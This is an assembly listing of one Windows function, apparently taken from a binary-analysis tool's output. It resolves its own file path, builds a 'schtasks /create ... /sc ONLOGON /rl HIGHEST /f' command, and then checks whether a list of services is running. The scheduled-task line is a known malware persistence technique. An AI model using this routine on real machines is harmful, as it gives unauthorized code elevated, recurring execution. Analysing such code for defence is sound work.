Function at 0x14002bb70
Capabilities:
Encode data using base64
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x14009c0c0]
xor rax, rsp
mov qword [rbp + 0x240], rax
lea rcx, [rsp + 0x50]
call fcn.140003d10
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
movabs rdx, 0x7ffffff54a2fb3ff
movabs rsi, 0x7fffffffffffffff
mov ebx, 0xff
mov edi, 1
cmp rax, rdx
je 0x14002bbfd
mov ecx, ebx
cmovge ecx, edi
test cl, cl
jns 0x14002bbfd
movabs rcx, 0xab5d04c00
add rcx, rax
mov qword [rsp + 0x50], rcx
jmp 0x14002bc02
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x50]
call fcn.140010500
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x30]
call fcn.14005fcf0
mov r8d, 0x104
lea rdx, [rbp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xor r12d, r12d
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], r12
mov r8d, eax
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x58]
call fcn.14002d650
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rdx, qword [rbp - 0x58]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8, qword [rbp - 0x48]
lea rcx, [rsp + 0x78]
call fcn.14002d650
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.140028590
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.14002c4f0
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x14002bcda
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bcd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c1c5
call fcn.14003d490
movdqa xmm0, xmmword [0x140090d60]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r12w
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x14002bd2f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bd2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c1c5
call fcn.14003d490
lea rax, str.schtasks__create__tn_____sc_ONLOGON__tr_____rl_HIGHEST__f
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x3d
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rax, qword [rbp - 0x38]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x78], xmm0
movabs r14, 0xc000000000000000
mov qword [rsp + 0x78], r14
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x68], xmm0
movabs rax, 0xc000000000000010
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x50], 2
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 8]
call fcn.14002de60
mov edx, 0x3a98
lea rcx, [rbp + 8]
call fcn.14002a980
lea rcx, [rsp + 0x50]
call fcn.140003d10
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
movabs rcx, 0x7fffffff1194d7ff
cmp rax, rcx
je 0x14002be2e
cmovge ebx, edi
test bl, bl
jns 0x14002be2e
mov ecx, 0xee6b2800
add rcx, rax
mov qword [rsp + 0x50], rcx
jmp 0x14002be33
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x50]
call fcn.140010500
lea rax, str.WindowsSystem32
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x12
lea rax, [0x14009f3a8]
cmp qword [0x14009f3c0], 7
cmova rax, qword [0x14009f3a8]
mov qword [rsp + 0x30], rax
mov rax, qword [0x14009f3b8]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x78]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call fcn.14002de60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x78]
call fcn.14002add0
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14002abd0
lea rcx, [rsp + 0x78]
call fcn.14002c390
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x68]
cmp rdi, r15
je 0x14002bfbd
nop word [rax + rax]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x14002bfb0
mov rdx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14002bf39
mov rdx, qword [rdi]
mov r8d, 4
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov r14, rax
test rax, rax
jne 0x14002bf5b
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x14002bfb0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x68], eax
mov dword [rsp + 0x50], r12d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x78]
xor edx, edx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ebx, ebx
je 0x14002bfb0
cmp dword [rsp + 0x7c], 4
je 0x14002bfc2
add rdi, 0x60
cmp rdi, r15
jne 0x14002bf10
call fcn.14002b560
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x14002c05c
mov rdi, qword [rsp + 0x68]
cmp rbx, rdi
je 0x14002bff6
nop word [rax + rax]
mov rcx, rbx
call fcn.14002b450
add rbx, 0x60
cmp rbx, rdi
jne 0x14002bfe0
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x70]
sub rcx, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 5
mov rax, rbx
cmp rdx, 0x1000
jb 0x14002c046
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c1bf
mov rcx, rbx
call fcn.14003d490
mov qword [rsp + 0x60], r12
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x14002c09c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c097
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c1bf
call fcn.14003d490
movdqa xmm0, xmmword [0x140090d60]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r12w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x14002c0f6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c0e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c1bf
call fcn.14003d490
movdqa xmm0, xmmword [0x140090d60]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], r12w
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x14002c140
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c13b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c1bf
call fcn.14003d490
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], 7
mov word [rbp - 0x38], r12w
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x14002c18d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c188
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002c1bf
call fcn.14003d490
xor eax, eax
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.14003d470
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14004b118
int3
call fcn.14004b118
int3